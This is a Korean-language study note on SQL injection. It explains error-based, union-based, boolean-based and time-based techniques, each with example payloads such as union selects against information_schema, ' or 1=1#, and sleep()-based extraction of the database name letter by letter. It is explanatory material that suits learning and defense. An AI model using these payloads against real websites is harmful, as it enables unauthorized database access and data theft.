SQL Injection
웹 사이트의 입력란, 파라미터에 악의적인 쿼리문을 삽입하여 DB를 해킹하는 공격기법
공격 유형
Error Based | Union Based | Boolean Based | Time Based | |
설명 | 오류를 발생시키는 쿼리문을 삽입해서 발생하는 오류 구문을 통해 필요한 정보를 습득 | 2개 이상의 쿼리를 요청하여 결과를 얻는 Union 연산자를 삽입해서 공격 | 참, 거짓을 출력하는 페이지에서 쿼리를 조작하여 공격 | 쿼리문의 참, 거짓에 따라 응답시간을 다르게 설정하여 공격 |
공격 구문 | extractvalue(xml_frag, xpath_expr)# | union select 1,column_name,3 from information_schema.columns# | ' or 1=1# ' or 1=0# |
' or 1=1 and sleep(2)# |
공격 유형 분석
Error Based SQL Injection
extravtvalue(XML,XPath)
- 인자 값에는 xml과 XPath 표현식이 필요하고 표현식에 일치하는 데이터를 추출해서 반환해주는 함수
- 이 함수를 SQL쿼리에 사용하면 쿼리의 실행 결과가 오류 메세지에 포함되는 것을 악용한 공격
SELECT extractvalue(1,concat(0x3a,version())); ##DB 버전 확인을 위한 쿼리문
Union Based SQL Injection
union
- 전제조건 : 컬럼의 갯수가 같아야 하고 데이터 형식도 같아야 한다.
- UNION이란 둘 이상의 쿼리문에서 검색된 레코드를 단일 집합으로 결합해주는 연산자
- 칼럼 수를 일치시킬 때까지 테스트해가면서 칼럼수를 알아낸 후 UNION 공격 수행
' union select all 1,table_name,3,4 from information_schema.table#
Boolean Based SQL Injection
- 참, 거짓 정보를 도출하는 SQL 쿼리문을 삽입하여 DB 정보를 탈취하는 공격
' or 1=1# 참일 경우의 메시지 확인
' or 1=0# 거짓인 경우 메시지 확인
' order by 숫자# 같은 원리로 칼럼 갯수 찾기
' or 1=1 and length(database())=숫자# 같은 원리로 DB 이름 길이 찾기
Time Based SQL Injection
- sleep()함수를 이용하여 참, 거짓을 알아내는 공격
- sleep()함수를 넣어 참이면 대기시간을 갖고 거짓이면 동작하지 않도록 하여 참과 거짓을 구분
' or 1=1 and sleep(2)# 참이면 2초간 대기
' or 1=1 and length(database()) = 숫자 and sleep(2)# 데이터베이스 길이 확인
' or 1=1 and substring(database(),1,1)='문자'and sleep(2)# DB명 첫 글자 확인
' or 1=1 and substring(database(),2,1)='문자'and sleep(2)# DB명 두번째 글자 확인
웹 페이지와 DB의 정보를 확인 후 SQL Injection 공격 시도하는 경우보다 봇을 이용한 SQL Injection 공격을 자주 시도하기 때문에 공격유효성이 존재하는 SQL Injection 공격은 흔치않다.